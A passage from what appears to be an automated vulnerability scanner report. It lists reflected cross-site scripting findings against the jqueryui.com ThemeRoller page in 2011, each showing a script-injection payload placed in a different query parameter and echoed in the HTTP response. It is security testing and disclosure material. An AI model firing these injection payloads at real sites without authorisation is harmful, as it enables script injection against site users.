GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=759ceca"><script>alert(1)</script>c193cb4b460&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=759ceca"><script>alert(1)</script>c193cb4b460&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=22
...[SNIP]...

1.128. http://jqueryui.com/themeroller/ [bgImgOpacityHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3f10"><script>alert(1)</script>67e88ebfbd was submitted in the bgImgOpacityHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55a3f10"><script>alert(1)</script>67e88ebfbd&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120064

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55a3f10"><script>alert(1)</script>67e88ebfbd&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a
...[SNIP]...

1.129. http://jqueryui.com/themeroller/ [bgImgOpacityHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a63d"><script>alert(1)</script>4a44203b28e was submitted in the bgImgOpacityHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=753a63d"><script>alert(1)</script>4a44203b28e&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=753a63d"><script>alert(1)</script>4a44203b28e&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgC
...[SNIP]...

1.130. http://jqueryui.com/themeroller/ [bgImgOpacityOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93f4d"><script>alert(1)</script>713c33ea2ff was submitted in the bgImgOpacityOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=093f4d"><script>alert(1)</script>713c33ea2ff&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:48 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
gColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=093f4d"><script>alert(1)</script>713c33ea2ff&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="te
...[SNIP]...

1.131. http://jqueryui.com/themeroller/ [bgImgOpacityShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1583f"><script>alert(1)</script>671ff3b070b was submitted in the bgImgOpacityShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=01583f"><script>alert(1)</script>671ff3b070b&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:49 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=01583f"><script>alert(1)</script>671ff3b070b&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.132. http://jqueryui.com/themeroller/ [bgTextureActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d09d8"><script>alert(1)</script>0a734e37c76 was submitted in the bgTextureActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.pngd09d8"><script>alert(1)</script>0a734e37c76&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:44 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
onColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.pngd09d8"><script>alert(1)</script>0a734e37c76&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHig
...[SNIP]...

1.133. http://jqueryui.com/themeroller/ [bgTextureContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22462"><script>alert(1)</script>158eccff51d was submitted in the bgTextureContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png22462"><script>alert(1)</script>158eccff51d&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:36 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
s=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png22462"><script>alert(1)</script>158eccff51d&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault
...[SNIP]...

1.134. http://jqueryui.com/themeroller/ [bgTextureDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18966"><script>alert(1)</script>76f50b8c74f was submitted in the bgTextureDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png18966"><script>alert(1)</script>76f50b8c74f&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:39 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120001

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
r=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png18966"><script>alert(1)</script>76f50b8c74f&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&ic
...[SNIP]...

1.135. http://jqueryui.com/themeroller/ [bgTextureError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f45aa"><script>alert(1)</script>5e1a910598 was submitted in the bgTextureError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.pngf45aa"><script>alert(1)</script>5e1a910598&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:47 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 119999

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.pngf45aa"><script>alert(1)</script>5e1a910598&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgText
...[SNIP]...

1.136. http://jqueryui.com/themeroller/ [bgTextureHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56912"><script>alert(1)</script>cb967ee3044 was submitted in the bgTextureHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png56912"><script>alert(1)</script>cb967ee3044&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&